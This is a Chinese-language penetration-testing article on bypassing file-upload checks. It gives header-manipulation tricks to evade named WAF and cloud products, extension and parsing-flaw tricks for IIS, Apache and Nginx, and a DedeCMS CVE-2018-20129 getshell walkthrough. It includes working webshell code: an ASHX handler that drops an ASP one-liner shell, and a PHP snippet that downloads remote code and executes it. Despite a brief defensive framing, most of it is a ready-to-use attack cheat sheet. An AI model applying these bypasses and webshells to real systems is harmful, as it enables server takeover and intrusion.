文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得服務器權限最快最直接。
但是想真正把這個漏洞利用好卻不那么容易,其中有很多技巧,也有很多需要掌握的知識。
俗話說,知己知彼方能百戰不殆,因此想要研究怎么防護漏洞,就要了解怎么去利用。
文件上傳校驗姿勢常見有這些
客戶端JAVAscript校驗(一般只校驗后綴名)服務端校驗文件頭content-type字段校驗(image/gif)文件內容頭校驗(GIF89a)后綴名黑名單校驗后綴名白名單校驗自定義正則校驗WAF設備校驗(根據不同的WAF產品而定)
以下我們分類總結一下繞過手段這里我們分類總結一下繞過手段
WAF繞過
安全狗繞過
1.繞過思路:對文件的內容,數據,數據包進行處理。
關鍵點在這里Content-Disposition: form-data; name="file"; filename="ian.php"將form-data;修改為~form-data;
2.通過替換大小寫來進行繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: Application/octet-stream將Content-Disposition修改為content-Disposition將 form-data 修改為Form-data將Content-Type修改為content-Type
3.通過刪減空格來進行繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream將Content-Disposition: form-data 冒號后面增加或減少一個空格將form-data; name="file";分號后面增加或減少一個空格將Content-Type: application/octet-stream 冒號后面增加一個空格
4.通過字符串拼接繞過
看Content-Disposition: form-data; name="file"; filename="yjh3.php"將 form-data 修改為 f+orm-data將from-data 修改為 form-d+ata
5.雙文件上傳繞過
<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form‐data"><inputname="FileName1"type="FILE"class="tx1"size="40"><inputname="FileName2"type="FILE"class="tx1"size="40"><inputtype="submit"name="Submit"value="上傳"></form>
6.HTTP header 屬性值繞過
Content-Disposition: form-data; name="file"; filename="yjh.php"我們通過替換form-data 為*來繞過Content-Disposition:*; name="file"; filename="yjh.php"
7.HTTP header 屬性名稱繞過
源代碼:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png繞過內容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.php".
8.等效替換繞過
原內容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。
9.修改編碼繞過
使用UTF-16、Unicode、雙URL編碼等等
WTS-WAF 繞過上傳
原內容:Content-Disposition: form-data; name="up_picture"; filename="xss.php"添加回車Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上傳繞過
百度云繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可。Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上傳繞過
源代碼:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"沒錯,將=號這里回車刪除掉Content-Type: image/jpeg即可繞過。
360主機上傳繞過
源代碼:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png繞過內容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改為 Content-空格Disposition
MIME類型繞過
上傳木馬時,提示格式錯誤。直接抓包修改Content-Type為正確的格式嘗試繞過
文件內容檢測繞過
抓包,在正常圖片末尾添加一句話木馬
多次上傳Win特性繞過
多次上傳同一個文件,windows會自動更新補全TEST (1).php。有時會觸發條件競爭,導致繞過。
條件競爭繞過
通過BURP不斷發包,導致不斷寫入Webshell,再寫入速度頻率上超過安全軟件查殺頻率,導致繞過。
CONTENT-LENGTH繞過
針對這種類型的驗證,我們可以通過上傳一些非常短的惡意代碼來繞過。上傳文件的大小取決于,Web服務器上的最大長度限制。我們可以使用不同大小的文件來fuzzing上傳程序,從而計算出它的限制范圍。
文件內容檢測繞過
針對文件內容檢測的繞過,一般有兩種方式,1.制作圖片馬2.文件幻術頭繞過
垃圾數據填充繞過
修改HTTP請求,再之中加入大量垃圾數據。
黑名單后綴繞過
文件擴展名繞過
Php除了可以解析php后綴還可以解析php2.php3,php4 后綴
ashx上傳繞過
cer,asa,cdx等等無法使用時候。解析后就會生成一個test.asp的馬,你就可以連接這個test.asp 密碼為:put<%@WebHandlerLanguage="C#"Class="Handler"%>usingSystem;usingSystem.Web;usingSystem.IO;publicclassHandler:IHttpHandler{publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain";//這里會在目錄下生成一個test.asp的文件StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp"));//這里是寫入一句話木馬 密碼是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close();}publicboolIsReusable{get{returnfalse;}}}
特殊文件名繞過
比如發送的 http包里把文件名改成 test.asp.或 test.asp_(下劃線為空格),這種命名方式在windows系統里是不被允許的,所以需要在 burp之類里進行修改,然后繞過驗證后,會被windows系統自動去掉后面的點和空格,但要注意Unix/linux系統沒有這個特性。
Windows流特性繞過
php在windows的時候如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名。
白名單后綴繞過
00截斷繞過上傳
php .jpg 空格二進制20改為00IIS 6.0目錄路徑檢測解析繞過上傳路徑改為XXX/1.asp/
htaccess解析漏洞
上傳的jpg文件都會以php格式解析.htaccess內容:AddType application/x-httpd-php .jpg
突破MIME限制上傳
方法:找一個正常的可上傳的查看其的MIME類型,然后將馬子的MIME改成合法的MIME即可。
Apache解析漏洞
1.一個文件名為test.x1.x2.x3的文件,apache會從x3的位置開始嘗試解析,如果x3不屬于apache能夠解析的擴展名,那么apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯。2.CVE-2017-15715,這個漏洞利用方式就是上傳一個文件名最后帶有換行符(只能是\x0A,如上傳a.php,然后在burp中修改文件名為a.php\x0A),以此來繞過一些黑名單過濾。
IIS解析漏洞
IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字符串,那么這個目錄下所有的文件都會按照asp去解析,另一個是只要文件名中含有".asp;"會優先按asp來解析IIS7.0/7.5是對php解析時有一個類似于Nginx的解析漏洞,對任意文件名只要在URL后面追加上字符串"/任意文件名.php"就會按照php的方式去解析;
Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php |(任意文件名)%00.php描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。還有一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。
解析漏洞
Content-Disposition: form-data; name="file"; filename=php.php;.jpg
前端限制繞過
使用BURP抓包修改后重放或者使用瀏覽器中元素審查,修改允許或禁止上傳文件類型。
下載繞過
遠程下載文件繞過
<?php$str = file_get_contents('http://127.0.0.1/ian.txt');$str($_post['ian']);?>
文件包含繞過
上傳圖片木馬
$x=$_GET['x'];include($x);訪問:http://www.xxxx.com/news.php?x=xxxxxx.jpg
下面我們來看個案例:CVE-2018-20129-——DedeCMS V5.7 SP2前臺文件上傳漏洞
Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上傳漏洞,遠程攻擊者可利用該漏洞上傳并執行任意PHP代碼。
最新的DEDECMS系統存在前臺文件上傳漏洞,需要管理員打開會員中心,訪問鏈接:http://127.0.0.1/dedecms/uploads/member/content_list.php?channelid=1或者進入會員中心后進入內容中心模塊,然后發布一個文章。
點擊下面的編輯器的上傳圖片按鈕。
點擊上傳,選擇準備好的一句話圖片木馬文件
再用burp工具抓包,將1.jpg改為1.jpg.p*hp
然后重新請求發送數據包,成功的getshell了,并返回了木馬地址。
代碼部分
漏洞在于用戶發布文章上傳圖片處。
處理文件在/include/dialog/select_images_post.php中的36行,
過濾了一些看起來不正常(異常)的字符。
而上傳文件存在全局過濾/include/uploadsafe.inc.php可以看到名字中不得有上述字符,且限制了content-type。
按道理說直接限制不得存在的字符,似乎沒有問題了,可在發布文章文件上傳的處理文件select_images_post.php中存在如下代碼:
再次過濾了圖片名,并且再次判斷如上三種文件類型是否存在其中。
這么一次過濾,直接粗暴的將一些特殊字符替換為空
那么我們就可以通過特殊字符繞過上面的全局文件名不能包含php字符的限制
比如文件名為1.jpg.php,從而可以判斷,不僅僅只有可以繞過,% ?<> :都是可以繞過的